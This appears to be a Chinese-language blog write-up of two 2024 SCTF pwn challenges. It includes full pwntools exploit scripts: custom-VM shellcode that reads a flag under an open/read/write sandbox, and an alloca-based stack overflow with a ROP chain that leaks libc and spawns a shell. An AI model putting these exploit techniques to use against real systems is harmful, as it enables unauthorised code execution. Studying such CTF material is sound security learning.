_(:3 」∠ )_
2024SCTF 比赛当天挺忙的,上线很晚,当时感觉可以试试vmcode最后还是没做出来hhh,本来是只有一道字节码的,但是因为blog一直拖着不发加上有复现XCTF的想法,索性一锅端了。
vmcode 狠狠逆就对了;; 自己自定义了一套字节码指令,有一个模拟的栈,在这个虚拟的指令集里面把寄存器调整好再syscall
这道题的切入点在于观察syscall多调试(或者肉眼瞪汇编。。。)
ida解析不出来
先看沙箱开的什么: 就是只有orw
追到BUG()
的地方 再加上发现在内存里shellcode:
的顺序很奇怪 一通瞎调看他到这里是怎么输出的
然后发现是把data里的东西一顿调整,压到stack这个数组里,然后再调整寄存器,然后再syscall 所以可以猜测 code 是代码部分,stack 是虚拟栈
逆向时间 先要逆出来 这里一段大概就是前面得到 字节码 ,然后 retn 跳转执行code, 然后就可以去offset的地方找到对应的偏移,这里rcx
像是offset的index,这样可以研究出字节码真正的具体数字
接下来就是把这套指令集对应的意思逆出来,方法大概就是 调or瞪 :
大概是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 rbx->rbp rdi->rsp rsi->code_offset 0x1274 :(push rip,ni)0x1299 :(ret)0x12a7 :(xor)0x12c4 :(xchg) xchg [rsp],[rsp-8 ] 0x12e0 :(xchg) xchg [rsp],[rsp-10 ] 0x12fc :(push 4 code)0x1319 :(movzx)0x132e :(pop)0x1332 :(shr)0x1348 :(push_rsp)0x135c :(shl)0x1372 :(jmp_138c)0x138c :(ni)0x13a3 :(ror)0x13c0 :(rol) pop rax rol rax,[rax-8 ] push rax 0x13dd :(add) pop rax and [rax],[rax-8 ] push rax 0x13fa :(syscall) index --stack-- rbx-> rdx rsi rdi rax rdi-> syscall index --stack-- rbx-> rdx rdi-> 0x1425 :(push rsp)0x1439 :(push rip)
虽然和code相关的部分有点难逆,但是还好,其实只需要调整栈然后syscall,所以其实有些地方无所谓
编写shellcode 直接把指令码输进去就好 有的是带参数的就跟在后面 指令会自己读code 在write()这里调了一下看了眼栈找了找rdi的位置 (此时syscall完全结束,rdi=9)
这里exp的函数直接使用了这位师傅 的exp 这道题的复现很多地方也参照了他的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) p= process("./pwn" ) def call_offset (off ): return p8(0x21 )+p16(off) def retn (): return p8(0x22 ) def xor (): return p8(0x23 ) def swap_8_18 (): return p8(0x24 ) def swap_8_10 (): return p8(0x25 ) def push_4_byte (content ): return p8(0x26 )+p32(content) def byte_2_8byte (): return p8(0x27 ) def pop (): return p8(0x28 ) def shr8 (): return p8(0x29 ) def copy_and_push (): return p8(0x2a ) def shl8 (): return p8(0x2b ) def jump_off_if_zero (off ): return p8(0x2c )+p16(off) def ror (): return p8(0x2d ) def rol (): return p8(0x2e ) def and_0_1 (): return p8(0x2f ) def syscall (): return p8(0x30 ) def push_rsp (): return p8(0x31 ) def push_rip (): return p8(0x32 ) p.recvuntil(b'shellcode: ' ) flag = 0x67616c66 payload = push_4_byte(flag) payload += push_rsp() payload += push_4_byte(0 ) payload += swap_8_10() payload += push_4_byte(2 ) payload += syscall() payload += push_rsp() payload += copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push()+copy_and_push() payload += copy_and_push() payload += push_4_byte(0x30 ) payload += swap_8_10() payload += push_4_byte(3 ) payload += push_4_byte(0 ) payload += syscall() payload += pop() payload += copy_and_push() payload += push_4_byte(0x30 ) payload += swap_8_10() payload += push_4_byte(1 ) payload += push_4_byte(1 ) payload += syscall() gdb.attach(p) p.send(payload) p.interactive()
factory 看的时候看到一个可疑的函数alloca
查询网络得知:
1 2 输入的 num 用做 alloca 的参数 alloca(num) alloca 是从调用者的栈上分配内存,相当于 sub esp, eax
所以这里是向上抬栈,然而反汇编的时候这个num的算法还是有比较明显的问题,大概是分配不够的。
本着分析不出来就开调的原则,尝试几个数观察抬栈高度以及写入数据的位置,基本可以得到: 原本栈空间为0x30,alloca后向上扩大,在扩大的地方写入数据,数据类型占用0x08,rbp+0x30的地方记录着i
那么就可以改i,我一开始为了看懂程序试的数都比较保守,看懂了之后直接选择最大的数打爆这个栈( 开调! 稍微要注意的就是在塞完rop之后有多余的输入机会,需要在这里注意一下,不过提前一次输入时停一下调试几步基本也很快可以搞定。
其实还是嗯调比较合理,能够直观的看到栈上的变化
再打的时候有时候脚本会自己不通,停在发送puts_got的地方,我猜是因为puts的实际地址超过了原来的程序做的一些限制或者是有负溢出,多滚几遍就通了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) elf_path='./factory' libc_path='./libc.so.6' p= process(elf_path) elf=ELF(elf_path) libc=ELF(libc_path) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] pop_rdi = 0x401563 ret_addr = 0x40148E bin_sh = 0x1b45bd main_addr = 0x040148F p.sendafter(b'How many factorys do you want to build: ' ,b'40' ) p.sendlineafter(b'Each factory can produce 1 ton of parts per person per year. Please allocate the number of employees to each factory.' ,b'1' ) for i in range (0x15 ): p.sendlineafter(b' = ' ,str (i).encode()) p.sendlineafter(b' = ' ,b'28' ) p.sendlineafter(b" = " ,str (pop_rdi)) p.sendlineafter(b" = " ,str (puts_got)) p.sendlineafter(b" = " ,str (puts_plt)) p.sendlineafter(b" = " ,str (main_addr)) for i in range (7 ): p.sendlineafter(b' = ' ,b'0' ) p.recvline() libc_base=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-libc.sym['puts' ] success('libc_base=' +hex (libc_base)) system_addr = libc_base+libc.sym['system' ] bin_sh_addr = libc_base+bin_sh p.sendafter(b'How many factorys do you want to build: ' ,b'40' ) p.sendlineafter(b'Each factory can produce 1 ton of parts per person per year. Please allocate the number of employees to each factory.' ,b'1' ) for i in range (0x15 ): p.sendlineafter(b' = ' ,str (i).encode()) p.sendlineafter(b' = ' ,b'28' ) p.sendlineafter(b" = " ,str (pop_rdi)) p.sendlineafter(b" = " ,str (bin_sh_addr)) p.sendlineafter(b" = " ,str (ret_addr)) p.sendlineafter(b" = " ,str (system_addr)) for i in range (6 ): p.sendlineafter(b' = ' ,b'0' ) gdb.attach(p) p.sendlineafter(b' = ' ,b'0' ) p.interactive()